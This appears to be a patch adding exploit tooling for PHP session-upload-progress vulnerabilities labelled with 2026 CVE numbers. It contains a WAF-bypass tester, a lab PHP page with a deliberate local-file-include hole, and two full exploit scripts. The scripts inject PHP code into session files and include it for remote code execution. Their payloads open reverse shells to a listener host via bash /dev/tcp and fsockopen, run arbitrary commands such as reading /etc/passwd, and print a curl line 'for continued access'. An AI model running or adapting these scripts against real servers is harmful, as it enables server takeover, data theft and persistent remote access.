("ALL CAPS: MULTIPART/FORM-DATA",
|
||||||
|
"POST", {"Content-Type": f"MULTIPART/FORM-DATA; boundary={bnd}"}),
|
||||||
|
("Leading whitespace",
|
||||||
|
"POST", {"Content-Type": f" multipart/form-data; boundary={bnd}"}),
|
||||||
|
("Comma-separated (multipart first)",
|
||||||
|
"POST", {"Content-Type": f"multipart/form-data,text/plain; boundary={bnd}"}),
|
||||||
|
("Comma-separated (text/plain first)",
|
||||||
|
"POST", {"Content-Type": f"text/plain,multipart/form-data; boundary={bnd}"}),
|
||||||
|
("Duplicate CT (text/plain first)",
|
||||||
|
"POST", {"Content-Type": ["text/plain", f"multipart/form-data; boundary={bnd}"]}),
|
||||||
|
("Duplicate CT (multipart first)",
|
||||||
|
"POST", {"Content-Type": [f"multipart/form-data; boundary={bnd}", "text/plain"]}),
|
||||||
|
("PUT method",
|
||||||
|
"PUT", {"Content-Type": f"multipart/form-data; boundary={bnd}"}),
|
||||||
|
("PATCH method",
|
||||||
|
"PATCH", {"Content-Type": f"multipart/form-data; boundary={bnd}"}),
|
||||||
|
]
|
||||||
|
|
||||||
|
print(f"{'Test':<45} {'WAF':>5} {'Direct':>6} {'Bypass?'}")
|
||||||
|
print("-" * 75)
|
||||||
|
|
||||||
|
for name, method, headers in tests:
|
||||||
|
waf_code = send_request(waf_host, waf_port, method, "/wp-login.php", headers, body)
|
||||||
|
direct_code = send_request(plain_host, plain_port, method, "/wp-login.php", headers, body)
|
||||||
|
bypass = "YES" if waf_code != 403 and direct_code in (200, 301, 302, 500) else ""
|
||||||
|
if waf_code != 403:
|
||||||
|
bypass = f"WAF:{waf_code}"
|
||||||
|
print(f"{name:<45} {waf_code:>5} {direct_code:>6} {bypass}")
|
||||||
|
|
||||||
|
|
||||||
|
def main():
|
||||||
|
ap = argparse.ArgumentParser(description="WAF bypass tests for php2shell mitigations")
|
||||||
|
ap.add_argument("--target", required=True, help="WAF-protected URL")
|
||||||
|
ap.add_argument("--unprotected", required=True, help="Unprotected URL (for comparison)")
|
||||||
|
args = ap.parse_args()
|
||||||
|
|
||||||
|
from urllib.parse import urlparse
|
||||||
|
waf = urlparse(args.target)
|
||||||
|
plain = urlparse(args.unprotected)
|
||||||
|
|
||||||
|
print("=" * 75)
|
||||||
|
print(" WAF Bypass Tests for php2shell Mitigations")
|
||||||
|
print("=" * 75)
|
||||||
|
print(f" WAF target : {args.target}")
|
||||||
|
print(f" Unprotected : {args.unprotected}")
|
||||||
|
print()
|
||||||
|
|
||||||
|
run_tests(waf.hostname, waf.port, plain.hostname, plain.port)
|
||||||
|
print()
|
||||||
|
print("Notes:")
|
||||||
|
print(" - PUT/PATCH bypass WAF but don't trigger session.upload_progress")
|
||||||
|
print(" - Comma/duplicate CT tricks pass WAF but PHP doesn't parse as multipart")
|
||||||
|
print(" - The race exploit only needs multipart for the POISON request (POST)")
|
||||||
|
print(" - The LFI probe is a normal GET, which no WAF blocks")
|
||||||
|
|
||||||
|
|
||||||
|
if __name__ == "__main__":
|
||||||
|
main()
|
||||||
@@ -0,0 +1,17 @@
|
|||||||
|
<?php
|
||||||
|
header('Content-Type: text/plain');
|
||||||
|
$pid = getmypid();
|
||||||
|
$status_pre = session_status();
|
||||||
|
$sid_pre = session_id();
|
||||||
|
$ok = @session_start();
|
||||||
|
$status_post = session_status();
|
||||||
|
$sid_post = session_id();
|
||||||
|
$data = isset($_SESSION) ? $_SESSION : [];
|
||||||
|
echo "pid=$pid\n";
|
||||||
|
echo "session_status_before=$status_pre\n";
|
||||||
|
echo "session_id_before=$sid_pre\n";
|
||||||
|
echo "session_start_ok=" . var_export($ok, true) . "\n";
|
||||||
|
echo "session_status_after=$status_post\n";
|
||||||
|
echo "session_id_after=$sid_post\n";
|
||||||
|
echo "session_data=" . json_encode($data) . "\n";
|
||||||
|
echo "session_save_path=" . session_save_path() . "\n";
|
||||||
Executable
+426
@@ -0,0 +1,426 @@
|
|||||||
|
#!/usr/bin/env python3
|
||||||
|
"""
|
||||||
|
CVE-2026-109618 — PHP Multipart Parser OOM → Session Poisoning → RCE
|
||||||
|
|
||||||
|
The PHP multipart parser (rfc1867.c) allocates memory for each form field
|
||||||
|
during request parsing. By sending enough fields to exceed memory_limit
|
||||||
|
(or RLIMIT_AS), OOM triggers during parsing itself. The resulting
|
||||||
|
zend_bailout() longjmps past the MULTIPART_EVENT_END handler, which
|
||||||
|
skips session.upload_progress cleanup — even with cleanup=1 (default).
|
||||||
|
|
||||||
|
The session file — poisoned via PHP_SESSION_UPLOAD_PROGRESS with embedded
|
||||||
|
PHP code — persists on disk. A follow-up request to a new FPM worker
|
||||||
|
includes this file via an LFI vector, executing our code.
|
||||||
|
|
||||||
|
Phase 1 ─ Poison + Crash
|
||||||
|
Multipart body:
|
||||||
|
1. PHP_SESSION_UPLOAD_PROGRESS = <?php PAYLOAD ?>
|
||||||
|
2. File upload (triggers progress handler → session flush to disk)
|
||||||
|
3. N form fields (OOM during parsing → bailout → cleanup skipped)
|
||||||
|
Worker crashes → session file persists with PHP code on disk.
|
||||||
|
|
||||||
|
Phase 2 ─ Trigger
|
||||||
|
FPM master spawns new worker. We include the session file via LFI
|
||||||
|
and the embedded PHP code executes.
|
||||||
|
|
||||||
|
Requirements:
|
||||||
|
- PHP-FPM with session.upload_progress.enabled=1 (default)
|
||||||
|
- memory_limit reachable via multipart fields (or RLIMIT_AS)
|
||||||
|
- An LFI vector in the target (include/require with user input)
|
||||||
|
- Known or guessable session.save_path
|
||||||
|
|
||||||
|
Tested: PHP 8.1–8.4, x86_64 Linux, NTS.
|
||||||
|
|
||||||
|
Usage:
|
||||||
|
python3 exploit.py -t http://target/app.php --cmd 'id'
|
||||||
|
python3 exploit.py -t http://target/app.php --lhost 10.0.0.1 --lport 4444
|
||||||
|
python3 exploit.py -t http://target/app.php --trigger-only
|
||||||
|
"""
|
||||||
|
|
||||||
|
import argparse
|
||||||
|
import base64
|
||||||
|
import os
|
||||||
|
import re
|
||||||
|
import socket
|
||||||
|
import sys
|
||||||
|
import time
|
||||||
|
from urllib.parse import urlparse
|
||||||
|
|
||||||
|
# ─── defaults ────────────────────────────────────────────────────────
|
||||||
|
|
||||||
|
FIELD_COUNT = 30000
|
||||||
|
FIELD_SIZE = 512
|
||||||
|
BATCH = 500
|
||||||
|
USE_CHUNKED = True
|
||||||
|
|
||||||
|
SESSION_PATHS = [
|
||||||
|
"/tmp",
|
||||||
|
"/tmp/php-sessions",
|
||||||
|
"/var/lib/php/sessions",
|
||||||
|
"/var/lib/php5/sessions",
|
||||||
|
"/var/lib/php/sess",
|
||||||
|
]
|
||||||
|
|
||||||
|
# ─── multipart builder ───────────────────────────────────────────────
|
||||||
|
|
||||||
|
def mp_field(bnd, name, value):
|
||||||
|
return (b"--" + bnd + b"\r\n"
|
||||||
|
b'Content-Disposition: form-data; name="' + name + b'"\r\n'
|
||||||
|
b"\r\n" + value + b"\r\n")
|
||||||
|
|
||||||
|
def mp_file(bnd, name, fname, content):
|
||||||
|
return (b"--" + bnd + b"\r\n"
|
||||||
|
b'Content-Disposition: form-data; name="' + name
|
||||||
|
+ b'"; filename="' + fname + b'"\r\n'
|
||||||
|
b"Content-Type: application/octet-stream\r\n"
|
||||||
|
b"\r\n" + content + b"\r\n")
|
||||||
|
|
||||||
|
def mp_end(bnd):
|
||||||
|
return b"--" + bnd + b"--\r\n"
|
||||||
|
|
||||||
|
# ─── HTTP helpers ────────────────────────────────────────────────────
|
||||||
|
|
||||||
|
def tcp_connect(host, port, tls, timeout=60):
|
||||||
|
sock = socket.create_connection((host, port), timeout=timeout)
|
||||||
|
if tls:
|
||||||
|
import ssl
|
||||||
|
ctx = ssl.create_default_context()
|
||||||
|
ctx.check_hostname = False
|
||||||
|
ctx.verify_mode = ssl.CERT_NONE
|
||||||
|
sock = ctx.wrap_socket(sock, server_hostname=host)
|
||||||
|
return sock
|
||||||
|
|
||||||
|
def send_chunk(sock, data):
|
||||||
|
sock.sendall(f"{len(data):x}\r\n".encode() + data + b"\r\n")
|
||||||
|
|
||||||
|
def recv_all(sock, timeout=10):
|
||||||
|
resp = b""
|
||||||
|
sock.settimeout(timeout)
|
||||||
|
try:
|
||||||
|
while True:
|
||||||
|
d = sock.recv(8192)
|
||||||
|
if not d:
|
||||||
|
break
|
||||||
|
resp += d
|
||||||
|
except socket.timeout:
|
||||||
|
pass
|
||||||
|
return resp
|
||||||
|
|
||||||
|
def http_get(host, port, tls, path, timeout=10):
|
||||||
|
sock = tcp_connect(host, port, tls, timeout)
|
||||||
|
sock.sendall(
|
||||||
|
b"GET " + path.encode() + b" HTTP/1.1\r\n"
|
||||||
|
b"Host: " + host.encode() + b"\r\n"
|
||||||
|
b"Connection: close\r\n\r\n"
|
||||||
|
)
|
||||||
|
resp = recv_all(sock, timeout)
|
||||||
|
sock.close()
|
||||||
|
return resp
|
||||||
|
|
||||||
|
def status_code(resp):
|
||||||
|
try:
|
||||||
|
return int(resp.split(b" ")[1])
|
||||||
|
except:
|
||||||
|
return 0
|
||||||
|
|
||||||
|
def body_of(resp):
|
||||||
|
if b"\r\n\r\n" not in resp:
|
||||||
|
return resp
|
||||||
|
hdr, raw = resp.split(b"\r\n\r\n", 1)
|
||||||
|
if b"transfer-encoding: chunked" in hdr.lower():
|
||||||
|
out = b""
|
||||||
|
data = raw
|
||||||
|
while data:
|
||||||
|
nl = data.find(b"\r\n")
|
||||||
|
if nl < 0:
|
||||||
|
break
|
||||||
|
try:
|
||||||
|
clen = int(data[:nl].split(b";")[0].strip(), 16)
|
||||||
|
except ValueError:
|
||||||
|
break
|
||||||
|
if clen == 0:
|
||||||
|
break
|
||||||
|
out += data[nl+2:nl+2+clen]
|
||||||
|
data = data[nl+2+clen+2:]
|
||||||
|
return out
|
||||||
|
return raw
|
||||||
|
|
||||||
|
# ─── Phase 1: poison session + crash worker ──────────────────────────
|
||||||
|
|
||||||
|
def phase1(host, port, tls, path, bnd, sid, php_code, fields, fsize,
|
||||||
|
chunked=True):
|
||||||
|
"""Send multipart: upload progress + file + OOM fields.
|
||||||
|
|
||||||
|
Returns (http_status_or_0, fields_sent_before_crash).
|
||||||
|
|
||||||
|
When chunked=False, builds full body with Content-Length. Required
|
||||||
|
when nginx has fastcgi_request_buffering off — chunked bodies bypass
|
||||||
|
PHP's multipart parser in that configuration.
|
||||||
|
"""
|
||||||
|
if not chunked:
|
||||||
|
return _phase1_contentlength(host, port, tls, path, bnd, sid,
|
||||||
|
php_code, fields, fsize)
|
||||||
|
|
||||||
|
sock = tcp_connect(host, port, tls)
|
||||||
|
sock.sendall(
|
||||||
|
b"POST " + path.encode() + b" HTTP/1.1\r\n"
|
||||||
|
b"Host: " + host.encode() + b"\r\n"
|
||||||
|
b"Content-Type: multipart/form-data; boundary=" + bnd + b"\r\n"
|
||||||
|
b"Transfer-Encoding: chunked\r\n"
|
||||||
|
b"Cookie: PHPSESSID=" + sid.encode() + b"\r\n"
|
||||||
|
b"Connection: close\r\n\r\n"
|
||||||
|
)
|
||||||
|
|
||||||
|
# 1. PHP_SESSION_UPLOAD_PROGRESS — value becomes session key suffix
|
||||||
|
send_chunk(sock, mp_field(bnd, b"PHP_SESSION_UPLOAD_PROGRESS", php_code))
|
||||||
|
# 2. File upload — triggers progress handler, session flushed to disk
|
||||||
|
send_chunk(sock, mp_file(bnd, b"file", b"x.bin", b"\x00" * 4096))
|
||||||
|
# 3. Pressure fields — OOM during parsing before MULTIPART_EVENT_END
|
||||||
|
sent = 0
|
||||||
|
for start in range(0, fields, BATCH):
|
||||||
|
end = min(start + BATCH, fields)
|
||||||
|
batch = b""
|
||||||
|
for i in range(start, end):
|
||||||
|
batch += mp_field(bnd, f"p{i:06d}".encode(), b"X" * fsize)
|
||||||
|
try:
|
||||||
|
send_chunk(sock, batch)
|
||||||
|
sent = end
|
||||||
|
except (BrokenPipeError, ConnectionResetError, OSError):
|
||||||
|
break
|
||||||
|
try:
|
||||||
|
send_chunk(sock, mp_end(bnd))
|
||||||
|
sock.sendall(b"0\r\n\r\n")
|
||||||
|
except:
|
||||||
|
pass
|
||||||
|
|
||||||
|
resp = recv_all(sock, timeout=5)
|
||||||
|
sock.close()
|
||||||
|
return status_code(resp), sent
|
||||||
|
|
||||||
|
|
||||||
|
def _phase1_contentlength(host, port, tls, path, bnd, sid, php_code,
|
||||||
|
fields, fsize):
|
||||||
|
"""Content-Length variant — builds the full body then sends it."""
|
||||||
|
body = b""
|
||||||
|
body += mp_field(bnd, b"PHP_SESSION_UPLOAD_PROGRESS", php_code)
|
||||||
|
body += mp_file(bnd, b"file", b"x.bin", b"\x00" * 4096)
|
||||||
|
for i in range(fields):
|
||||||
|
body += mp_field(bnd, f"p{i:06d}".encode(), b"X" * fsize)
|
||||||
|
body += mp_end(bnd)
|
||||||
|
|
||||||
|
sock = tcp_connect(host, port, tls)
|
||||||
|
sock.sendall(
|
||||||
|
b"POST " + path.encode() + b" HTTP/1.1\r\n"
|
||||||
|
b"Host: " + host.encode() + b"\r\n"
|
||||||
|
b"Content-Type: multipart/form-data; boundary=" + bnd + b"\r\n"
|
||||||
|
b"Content-Length: " + str(len(body)).encode() + b"\r\n"
|
||||||
|
b"Cookie: PHPSESSID=" + sid.encode() + b"\r\n"
|
||||||
|
b"Connection: close\r\n\r\n"
|
||||||
|
)
|
||||||
|
|
||||||
|
try:
|
||||||
|
sock.sendall(body)
|
||||||
|
except (BrokenPipeError, ConnectionResetError, OSError):
|
||||||
|
pass
|
||||||
|
|
||||||
|
resp = recv_all(sock, timeout=5)
|
||||||
|
sock.close()
|
||||||
|
return status_code(resp), fields
|
||||||
|
|
||||||
|
# ─── Phase 2: LFI include of session file ───────────────────────────
|
||||||
|
|
||||||
|
def phase2(host, port, tls, path, sid, session_paths, lfi_param):
|
||||||
|
"""Try including the session file via common paths."""
|
||||||
|
for sp in session_paths:
|
||||||
|
sess = f"{sp}/sess_{sid}"
|
||||||
|
url = f"{path}?{lfi_param}={sess}"
|
||||||
|
try:
|
||||||
|
resp = http_get(host, port, tls, url, timeout=10)
|
||||||
|
rbody = body_of(resp)
|
||||||
|
if b"CVE2026:" in rbody or b"upload_progress_" in rbody:
|
||||||
|
return resp, sess
|
||||||
|
except:
|
||||||
|
continue
|
||||||
|
return None, None
|
||||||
|
|
||||||
|
# ─── main ────────────────────────────────────────────────────────────
|
||||||
|
|
||||||
|
def run(args):
|
||||||
|
p = urlparse(args.target)
|
||||||
|
tls = p.scheme == "https"
|
||||||
|
host = p.hostname or "127.0.0.1"
|
||||||
|
port = p.port or (443 if tls else 80)
|
||||||
|
path = p.path or "/"
|
||||||
|
|
||||||
|
sid = args.session_id or os.urandom(16).hex()
|
||||||
|
bnd = b"----CVE2026OOM" + os.urandom(8).hex().encode()
|
||||||
|
spaths = list(SESSION_PATHS)
|
||||||
|
if args.session_path:
|
||||||
|
spaths = [args.session_path] + [s for s in spaths if s != args.session_path]
|
||||||
|
|
||||||
|
# Build PHP payload
|
||||||
|
if args.trigger_only:
|
||||||
|
php_code = b'<?php echo "CVE2026:TRIGGERED:pid=".getmypid().":".php_uname(); ?>'
|
||||||
|
elif args.cmd:
|
||||||
|
cmd_b64 = base64.b64encode(args.cmd.encode()).decode()
|
||||||
|
php_code = f'<?php echo "CVE2026:";system(base64_decode("{cmd_b64}"));echo ":END"; ?>'.encode()
|
||||||
|
elif args.lhost and args.lport:
|
||||||
|
shell = f"bash -c 'bash -i >& /dev/tcp/{args.lhost}/{args.lport} 0>&1'"
|
||||||
|
cmd_b64 = base64.b64encode(shell.encode()).decode()
|
||||||
|
php_code = f'<?php system(base64_decode("{cmd_b64}")); ?>'.encode()
|
||||||
|
else:
|
||||||
|
print("[!] Specify --cmd, --lhost/--lport, or --trigger-only", file=sys.stderr)
|
||||||
|
sys.exit(1)
|
||||||
|
|
||||||
|
print("=" * 65)
|
||||||
|
print(" CVE-2026-109618: PHP Multipart OOM → Session Poisoning → RCE")
|
||||||
|
print("=" * 65)
|
||||||
|
print(f" Target : {args.target}")
|
||||||
|
print(f" Session ID : {sid}")
|
||||||
|
print(f" LFI param : {args.lfi_param}")
|
||||||
|
print(f" Fields : {args.fields} × {args.field_size}B")
|
||||||
|
if args.cmd:
|
||||||
|
print(f" Command : {args.cmd}")
|
||||||
|
elif args.lhost:
|
||||||
|
print(f" Reverse sh : {args.lhost}:{args.lport}")
|
||||||
|
print()
|
||||||
|
|
||||||
|
# ── Phase 0: verify target ──
|
||||||
|
print("[*] Phase 0: checking target...")
|
||||||
|
try:
|
||||||
|
r0 = http_get(host, port, tls, path, timeout=5)
|
||||||
|
sc = status_code(r0)
|
||||||
|
if sc == 0:
|
||||||
|
raise ConnectionError("no response")
|
||||||
|
print(f" HTTP {sc} — target alive")
|
||||||
|
except Exception as e:
|
||||||
|
print(f" [!] Not reachable: {e}")
|
||||||
|
sys.exit(1)
|
||||||
|
|
||||||
|
# ── Phase 1: poison session + crash ──
|
||||||
|
print()
|
||||||
|
print("[*] Phase 1: session poisoning + OOM crash")
|
||||||
|
print(f" Injecting {len(php_code)}B PHP code into session key...")
|
||||||
|
|
||||||
|
use_chunked = not args.no_chunked
|
||||||
|
if not use_chunked:
|
||||||
|
print(f" Using Content-Length mode (required for fastcgi_request_buffering off)")
|
||||||
|
status, fields_sent = phase1(
|
||||||
|
host, port, tls, path, bnd, sid,
|
||||||
|
php_code, args.fields, args.field_size,
|
||||||
|
chunked=use_chunked,
|
||||||
|
)
|
||||||
|
|
||||||
|
if status == 502 or status == 0:
|
||||||
|
print(f" [+] Worker crashed (HTTP {status or 'reset'})")
|
||||||
|
print(f" OOM after ~{fields_sent} fields — bailout skipped session cleanup")
|
||||||
|
elif status == 500:
|
||||||
|
print(f" [+] HTTP 500 — OOM during script (worker survived)")
|
||||||
|
else:
|
||||||
|
print(f" [!] HTTP {status} — may not have OOMed; try increasing --fields")
|
||||||
|
|
||||||
|
# Wait for new worker
|
||||||
|
print(" Waiting for new worker...")
|
||||||
|
time.sleep(1.5)
|
||||||
|
for i in range(8):
|
||||||
|
try:
|
||||||
|
r1 = http_get(host, port, tls, path, timeout=3)
|
||||||
|
sc1 = status_code(r1)
|
||||||
|
if sc1 in (200, 301, 302, 403, 404):
|
||||||
|
print(f" New worker ready (HTTP {sc1})")
|
||||||
|
break
|
||||||
|
except:
|
||||||
|
pass
|
||||||
|
time.sleep(1)
|
||||||
|
else:
|
||||||
|
print(" [!] New worker not available after 8 retries")
|
||||||
|
sys.exit(1)
|
||||||
|
|
||||||
|
# ── Phase 2: LFI trigger ──
|
||||||
|
print()
|
||||||
|
print("[*] Phase 2: including poisoned session file via LFI...")
|
||||||
|
|
||||||
|
resp, sess_path = phase2(host, port, tls, path, sid, spaths, args.lfi_param)
|
||||||
|
|
||||||
|
if resp is None:
|
||||||
|
print(" [!] Session file not found at any common path")
|
||||||
|
print(f" Try: --session-path /actual/path")
|
||||||
|
print(f" File: sess_{sid}")
|
||||||
|
sys.exit(1)
|
||||||
|
|
||||||
|
output = body_of(resp).decode(errors="replace")
|
||||||
|
print(f" Session file: {sess_path}")
|
||||||
|
|
||||||
|
if args.trigger_only:
|
||||||
|
m = re.search(r"CVE2026:TRIGGERED:(.+?)(?:\||$)", output)
|
||||||
|
if m:
|
||||||
|
print()
|
||||||
|
print(f"[+] Code execution confirmed!")
|
||||||
|
print(f" {m.group(1)}")
|
||||||
|
else:
|
||||||
|
print(f" [*] Session file exists but code may not have executed")
|
||||||
|
print(f" Response: {output[:200]}")
|
||||||
|
return
|
||||||
|
|
||||||
|
if args.cmd:
|
||||||
|
m = re.search(r"CVE2026:(.*?):END", output, re.DOTALL)
|
||||||
|
if m:
|
||||||
|
result = m.group(1).strip()
|
||||||
|
else:
|
||||||
|
result = output.split("upload_progress_")[0] if "upload_progress_" in output else output[:500]
|
||||||
|
result = re.sub(r"\r?\npid=\d+.*", "", result, flags=re.DOTALL).strip()
|
||||||
|
result = re.sub(r"\r?\n\d+\s*$", "", result).strip()
|
||||||
|
|
||||||
|
print()
|
||||||
|
print("[+] ═══════════════ RCE OUTPUT ═══════════════")
|
||||||
|
print(result)
|
||||||
|
print("[+] ══════════════════════════════════════════")
|
||||||
|
print()
|
||||||
|
print("[+] RCE achieved via CVE-2026-109618!")
|
||||||
|
print()
|
||||||
|
print("[*] For continued access:")
|
||||||
|
cmd_b64 = base64.b64encode(b"id").decode()
|
||||||
|
print(f" curl '{args.target}?{args.lfi_param}={sess_path}&c={cmd_b64}'")
|
||||||
|
else:
|
||||||
|
print()
|
||||||
|
print(f"[+] Payload delivered — check listener at {args.lhost}:{args.lport}")
|
||||||
|
print(f"[*] Session file for re-exploitation: {sess_path}")
|
||||||
|
|
||||||
|
|
||||||
|
def main():
|
||||||
|
ap = argparse.ArgumentParser(
|
||||||
|
description="CVE-2026-109618: PHP multipart OOM → session poisoning → RCE",
|
||||||
|
formatter_class=argparse.RawDescriptionHelpFormatter,
|
||||||
|
epilog="""
|
||||||
|
Examples:
|
||||||
|
%(prog)s -t http://target/app.php --cmd 'id'
|
||||||
|
%(prog)s -t http://target/app.php --lhost 10.0.0.1 --lport 4444
|
||||||
|
%(prog)s -t http://target/app.php --trigger-only
|
||||||
|
%(prog)s -t http://target/app.php --cmd 'cat /etc/passwd' \\
|
||||||
|
--session-path /var/lib/php/sessions --lfi-param tpl
|
||||||
|
""")
|
||||||
|
ap.add_argument("-t", "--target", required=True, help="Target URL")
|
||||||
|
ap.add_argument("--cmd", help="Command to execute")
|
||||||
|
ap.add_argument("--lhost", help="Reverse shell listener IP")
|
||||||
|
ap.add_argument("--lport", type=int, help="Reverse shell listener port")
|
||||||
|
ap.add_argument("--trigger-only", action="store_true",
|
||||||
|
help="Confirm vuln without RCE payload")
|
||||||
|
ap.add_argument("--session-path",
|
||||||
|
help="session.save_path on target (default: common paths)")
|
||||||
|
ap.add_argument("--session-id",
|
||||||
|
help="Force PHPSESSID (default: random hex)")
|
||||||
|
ap.add_argument("--lfi-param", default="page",
|
||||||
|
help="LFI query parameter (default: page)")
|
||||||
|
ap.add_argument("--fields", type=int, default=FIELD_COUNT,
|
||||||
|
help=f"Pressure fields for OOM (default: {FIELD_COUNT})")
|
||||||
|
ap.add_argument("--field-size", type=int, default=FIELD_SIZE,
|
||||||
|
help=f"Bytes per field (default: {FIELD_SIZE})")
|
||||||
|
ap.add_argument("--no-chunked", action="store_true",
|
||||||
|
help="Use Content-Length instead of chunked encoding "
|
||||||
|
"(required when nginx has fastcgi_request_buffering off)")
|
||||||
|
args = ap.parse_args()
|
||||||
|
run(args)
|
||||||
|
|
||||||
|
|
||||||
|
if __name__ == "__main__":
|
||||||
|
main()
|
||||||
@@ -0,0 +1,11 @@
|
|||||||
|
<?php
|
||||||
|
session_start();
|
||||||
|
$pid = getmypid();
|
||||||
|
|
||||||
|
if (isset($_GET['page'])) {
|
||||||
|
include($_GET['page']);
|
||||||
|
}
|
||||||
|
|
||||||
|
$n = count($_POST);
|
||||||
|
$files = count($_FILES);
|
||||||
|
echo "pid=$pid post=$n files=$files sid=" . session_id() . "\n";
|
||||||
@@ -0,0 +1,20 @@
|
|||||||
|
<?php
|
||||||
|
$pid = getmypid();
|
||||||
|
$status_pre = session_status();
|
||||||
|
$sid_pre = session_id();
|
||||||
|
$ok = @session_start();
|
||||||
|
$status_post = session_status();
|
||||||
|
$sid_post = session_id();
|
||||||
|
$sess_data = isset($_SESSION) ? $_SESSION : null;
|
||||||
|
$sess_keys = is_array($sess_data) ? array_keys($sess_data) : 'NULL';
|
||||||
|
$sess_payload_len = is_array($sess_data) && isset($sess_data['payload']) ? strlen($sess_data['payload']) : 0;
|
||||||
|
|
||||||
|
header('Content-Type: text/plain');
|
||||||
|
echo "pid=$pid\n";
|
||||||
|
echo "session_status_before=$status_pre\n";
|
||||||
|
echo "session_id_before=$sid_pre\n";
|
||||||
|
echo "session_start_ok=" . var_export($ok, true) . "\n";
|
||||||
|
echo "session_status_after=$status_post\n";
|
||||||
|
echo "session_id_after=$sid_post\n";
|
||||||
|
echo "session_keys=" . (is_array($sess_keys) ? implode(',', $sess_keys) : $sess_keys) . "\n";
|
||||||
|
echo "session_payload_len=$sess_payload_len\n";
|
||||||
Executable
+686
@@ -0,0 +1,686 @@
|
|||||||
|
#!/usr/bin/env python3
|
||||||
|
"""
|
||||||
|
CVE-2026-109619 — RCE via PHP session upload progress
|
||||||
|
|
||||||
|
PHP's session.upload_progress feature (enabled by default) writes
|
||||||
|
upload progress data to the session file during multipart request
|
||||||
|
parsing. The progress key stored in the session is constructed as:
|
||||||
|
|
||||||
|
session.upload_progress.prefix + $_POST[session.upload_progress.name]
|
||||||
|
|
||||||
|
The attacker controls the POST field value, and the session file
|
||||||
|
serializer (php format) stores the key VERBATIM — the only character
|
||||||
|
filtered is '|' (the key/value delimiter). This means arbitrary
|
||||||
|
bytes, including PHP code, are written into the session file on disk.
|
||||||
|
|
||||||
|
The session file path is predictable:
|
||||||
|
<session.save_path>/sess_<PHPSESSID>
|
||||||
|
|
||||||
|
Common default paths:
|
||||||
|
/tmp/sess_*
|
||||||
|
/var/lib/php/sessions/sess_*
|
||||||
|
|
||||||
|
Exploitation:
|
||||||
|
1. Send a multipart POST with PHP_SESSION_UPLOAD_PROGRESS containing
|
||||||
|
embedded PHP code: <?php system($cmd); ?>
|
||||||
|
2. The upload progress callback writes this to the session file.
|
||||||
|
3. Include the session file via any local-file-include vector:
|
||||||
|
- Direct include() / require() with attacker-controlled path
|
||||||
|
- PHP stream wrappers (php://filter)
|
||||||
|
- Log/session file inclusion (a classic PHP attack)
|
||||||
|
4. The PHP engine parses the session file, finds the <?php ?> tag
|
||||||
|
within the serialized data, and executes the injected code.
|
||||||
|
|
||||||
|
The exploit automates all steps: it obtains a session ID, injects code
|
||||||
|
via upload progress, and triggers inclusion for RCE.
|
||||||
|
|
||||||
|
Requirements
|
||||||
|
------------
|
||||||
|
- session.upload_progress.enabled = 1 (ON by default in all PHP builds)
|
||||||
|
- session.serialize_handler = php (default)
|
||||||
|
- Target endpoint calls session_start()
|
||||||
|
- An LFI vector OR known session save path + include primitive
|
||||||
|
- Tested on PHP 8.0–8.4 x86_64 Linux
|
||||||
|
|
||||||
|
Usage
|
||||||
|
-----
|
||||||
|
# Reverse shell via LFI
|
||||||
|
python3 exploit.py --target http://target/app.php \\
|
||||||
|
--lfi-param page \\
|
||||||
|
--session-path /tmp \\
|
||||||
|
--lhost 10.0.0.1 --lport 4444
|
||||||
|
|
||||||
|
# Trigger-only (write code to session, report path)
|
||||||
|
python3 exploit.py --target http://target/app.php --trigger-only
|
||||||
|
|
||||||
|
# Custom command
|
||||||
|
python3 exploit.py --target http://target/app.php \\
|
||||||
|
--lfi-param page --session-path /tmp \\
|
||||||
|
--cmd "id > /tmp/pwned"
|
||||||
|
"""
|
||||||
|
|
||||||
|
import argparse
|
||||||
|
import io
|
||||||
|
import os
|
||||||
|
import socket
|
||||||
|
import sys
|
||||||
|
import time
|
||||||
|
import re
|
||||||
|
import threading
|
||||||
|
|
||||||
|
# ---------------------------------------------------------------------------
|
||||||
|
# Config
|
||||||
|
# ---------------------------------------------------------------------------
|
||||||
|
|
||||||
|
BOUNDARY = b"----CVE2026109619" + os.urandom(8).hex().encode()
|
||||||
|
PROGRESS_FIELD = b"PHP_SESSION_UPLOAD_PROGRESS"
|
||||||
|
|
||||||
|
DEFAULT_SESSION_PATHS = [
|
||||||
|
"/tmp",
|
||||||
|
"/tmp/php-sessions",
|
||||||
|
"/var/lib/php/sessions",
|
||||||
|
"/var/lib/php5/sessions",
|
||||||
|
"/var/lib/php/session",
|
||||||
|
]
|
||||||
|
|
||||||
|
# ---------------------------------------------------------------------------
|
||||||
|
# Multipart helpers
|
||||||
|
# ---------------------------------------------------------------------------
|
||||||
|
|
||||||
|
def multipart_field(name: bytes, value: bytes) -> bytes:
|
||||||
|
return (
|
||||||
|
b"--" + BOUNDARY + b"\r\n"
|
||||||
|
b'Content-Disposition: form-data; name="' + name + b'"\r\n'
|
||||||
|
b"\r\n" + value + b"\r\n"
|
||||||
|
)
|
||||||
|
|
||||||
|
def multipart_file(name: bytes, filename: bytes, content: bytes,
|
||||||
|
content_type: bytes = b"application/octet-stream") -> bytes:
|
||||||
|
return (
|
||||||
|
b"--" + BOUNDARY + b"\r\n"
|
||||||
|
b'Content-Disposition: form-data; name="' + name
|
||||||
|
+ b'"; filename="' + filename + b'"\r\n'
|
||||||
|
b"Content-Type: " + content_type + b"\r\n"
|
||||||
|
b"\r\n" + content + b"\r\n"
|
||||||
|
)
|
||||||
|
|
||||||
|
def multipart_end() -> bytes:
|
||||||
|
return b"--" + BOUNDARY + b"--\r\n"
|
||||||
|
|
||||||
|
# ---------------------------------------------------------------------------
|
||||||
|
# Payload construction
|
||||||
|
# ---------------------------------------------------------------------------
|
||||||
|
|
||||||
|
def make_php_payload(cmd: str) -> bytes:
|
||||||
|
"""Craft PHP code to inject into the session file via progress key.
|
||||||
|
The code is embedded in the progress key prefix, so it ends up as:
|
||||||
|
upload_progress_<PHP_CODE>
|
||||||
|
in the session file. When the file is included, PHP parses and
|
||||||
|
executes the <?php ?> block."""
|
||||||
|
return f'<?php {cmd} ?>'.encode()
|
||||||
|
|
||||||
|
def make_reverse_shell_payload(lhost: str, lport: int) -> bytes:
|
||||||
|
cmd = (
|
||||||
|
f"$sock=fsockopen('{lhost}',{lport});"
|
||||||
|
f"$proc=proc_open('/bin/sh',array(0=>$sock,1=>$sock,2=>$sock),$pipes);"
|
||||||
|
)
|
||||||
|
return make_php_payload(cmd)
|
||||||
|
|
||||||
|
def make_cmd_payload(cmd: str) -> bytes:
|
||||||
|
return make_php_payload(f'system("{cmd}");')
